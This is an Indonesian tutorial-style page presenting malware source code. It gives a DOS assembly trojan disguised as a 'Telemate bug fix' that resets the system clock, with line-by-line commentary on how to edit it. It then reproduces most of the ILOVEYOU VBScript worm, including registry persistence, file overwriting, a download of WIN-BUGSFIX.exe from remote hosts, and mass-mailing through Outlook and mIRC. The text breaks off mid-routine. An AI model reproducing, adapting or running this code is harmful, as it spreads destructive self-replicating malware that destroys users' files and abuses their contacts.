Source Code Virus & Pembedahannya

a. Virus Friday 13H

Hasil akhir Virus ini adalah akan mengganti tanggal komputer menjadi seperti yang progammer mau--dimana di virus Friday 13H ini menjadi 13 Juli1990.

Berikut adalah source code virus Friday 13H :

<++ Friday13H ++>

CODE SEGMENT

Assume CS:code,DS:code

ORG 100h

start: Jmp begin

text1 db ' Telemate bug fix for version 3.0+$ ' ;Bogus filler text

text2 db ' TM.EXE fixed!$ ' ;Bogus filler text

text3 db 07h,'Error! Cannot alter TM.EXE$ ' ;Printed after change

Begin proc NEAR

mov ah,05h ;Function 5 - Set Real Time Clock

mov cx,1990h ;What century

mov dx,0713h ;Month/day

int 1ah ;Execute

mov ah,09h ;Funtion 9 - Print string

lea dx,text3 ;What text to print

int 21h ;Execute function 09

int 20h ;Quit .COM file

begin endp

CODE ENDS ;End segment

END start ;End program

<-- Friday13H -->

Penjelasan Source Code :

1. text1 db ' Telemate bug fix for version 3.0+$ '

// Perintah ini akan ditampilkan jika program berhasil bekerja.

2. text2 db ' TM.EXE fixed!$ ' ;Bogus filler text

// Perintah ini sebenarnya ga perlu ada karena variabelnya

// gak digunain

3. text3

text3 db 07h,'Error! Cannot alter TM.EXE$ ' ;Printed after change

// Perintah ini akan ditampilkan jika kamu compile dengan com file

// Jika tampil peritah seperti diatas maka itu artinya error alias

// tanggal tidak berubah

// Solusinya jika tampil pesan diatas maka compile ulang dengan

// exe, dan bukan com

4. Begin proc NEAR

// Memulai program

4. mov ah,05h ;Function 5 - Set Real Time Clock

// memindahkan 05h ke AH

5. mov cx,1990h ;What century

// ubah tahun 1990 itu jadi 2004 aja jadi hasil editingnya

// seperti dibawah ini

mov cx,2004h

6. mov dx,0713h ;Month/day

// ubah bulan 07 dan tanggal 13 menjadi 06 dengan tanggal 13

// jadi hasil editingnya :

mov dx,0605h

7. int 1ah ;Execute

// Dieksekusi peritah diatas dan berubahlah tanggal komputer jika

// dijalankan

8. mov ah,09h ;Funtion 9 - Print string

lea dx,text3 ;What text to print

int 21h ;Execute function 09

int 20h ;Quit .COM file

begin endp

// Perintah-perintah tersebut akan melakukan eksekusi pada text 3

text3 db 07h,'Error! Cannot alter TM.EXE$ ' ;Printed after change

9. CODE ENDS ;End segment

END start ;End program

//Program diakhiri

b. Virus I LOP U

rem barok -loveletter(vbe) 

rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /

Manila,Philippines

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32

",dirsystem&"\MSKernel32.vbs"

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi

n32DLL",dirwin&"\Win32DLL.vbs"

downread=""

downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\Download Directory")

if (downread="") then

downread="c:\"

end if

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj

w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"

elseif num = 2 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe

546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm

POhfgER67b3Vbvg/WIN-BUGSFIX.exe"

elseif num = 4 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh

YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX

.exe"

end if

end if

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI

X",downread&"\WIN-BUGSFIX.exe"

regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start

Page","about:blank"

end if

end sub

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then

folderlist(d.path&"\")

end if

Next

listadriv = s

end sub

sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path)

ext=lcase(ext)

s=lcase(f1.name)

if (ext="vbs") or (ext="vbe") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")

or (ext="hta") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

bname=fso.GetBaseName(f1.path)

set cop=fso.GetFile(f1.path)

cop.copy(folderspec&"\"&bname&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="jpg") or (ext="jpeg") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

set cop=fso.GetFile(f1.path)

cop.copy(f1.path&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="mp3") or (ext="mp2") then

set mp3=fso.CreateTextFile(f1.path&".vbs")

mp3.write vbscopy

mp3.close

set att=fso.GetFile(f1.path)

att.attributes=att.attributes+2

end if

if (eq<>folderspec) then

if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or

(s="script.ini") or (s="mirc.hlp") then

set scriptini=fso.CreateTextFile(folderspec&"\script.ini")

scriptini.WriteLine "[script]"

scriptini.WriteLine ";mIRC Script"

scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,

if mIRC will"

scriptini.WriteLine " corrupt... WINDOWS will affect and will not run

correctly. thanks"

scriptini.WriteLine ";"

scriptini.WriteLine ";Khaled Mardam-Bey"

scriptini.WriteLine ";http://www.mirc.com"

scriptini.WriteLine ";"

scriptini.WriteLine "n0=on 1:JOIN:#:{"

scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"

scriptini.WriteLine "n2= /.dcc send $nick

"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

scriptini.WriteLine "n3=}"

scriptini.close

eq=folderspec

end if

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

dim f,f1,sf

set f = fso.GetFolder(folderspec)

set sf = f.SubFolders

for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)

next

end sub

sub regcreate(regkey,regvalue)

Set regedit = CreateObject("WScript.Shell")

regedit.RegWrite regkey,regvalue

end sub

function regget(value)

Set regedit = CreateObject("WScript.Shell")

regget=regedit.RegRead(value)

end function

function fileexist(filespec)

On Error Resume Next

dim msg

if (fso.FileExists(filespec)) Then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

function folderexist(folderspec)

On Error Resume Next

dim msg

if (fso.GetFolderExists(folderspec)) then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

sub spreadtoemail()

On Error Resume Next

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

set regedit=CreateObject("WScript.Shell")

set out=WScript.CreateObject("Outlook.Application")

set mapi=out.GetNameSpace("MAPI")

for ctrlists=1 to mapi.AddressLists.Count

set a=mapi.AddressLists(ctrlists)

x=1

regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)

if (regv="") then

regv=1

end if

if (int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a.AddressEntries.Count

malead=a.AddressEntries(x)

regad=""

regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)

if (regad="") then

set male=out.CreateItem(0)

male.Recipients.Add(malead)

male.Subject = "ILOVEYOU"

male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."

male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

male.Send

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"

end if

x=x+1

next

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count

else

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count

end if

next

Set out=Nothing

Set mapi=Nothing

end sub

sub html

On Error Resume Next

dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

dta1="<META

NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _

"

@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _

"

good...@-@>"&vbcrlf& _

"

ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#

-#,#-#main#-#)@-@ "&vbcrlf& _

"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#

-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _

"
This HTML file need ActiveX Control
To Enable to read

this HTML file

- Please press #-#YES#-# button to Enable

ActiveX"&vbcrlf& _

"

BGCOLOR=@-@yellow@-@>----------z--------------------z----------

"&vbcrlf& _

""&vbcrlf& _

"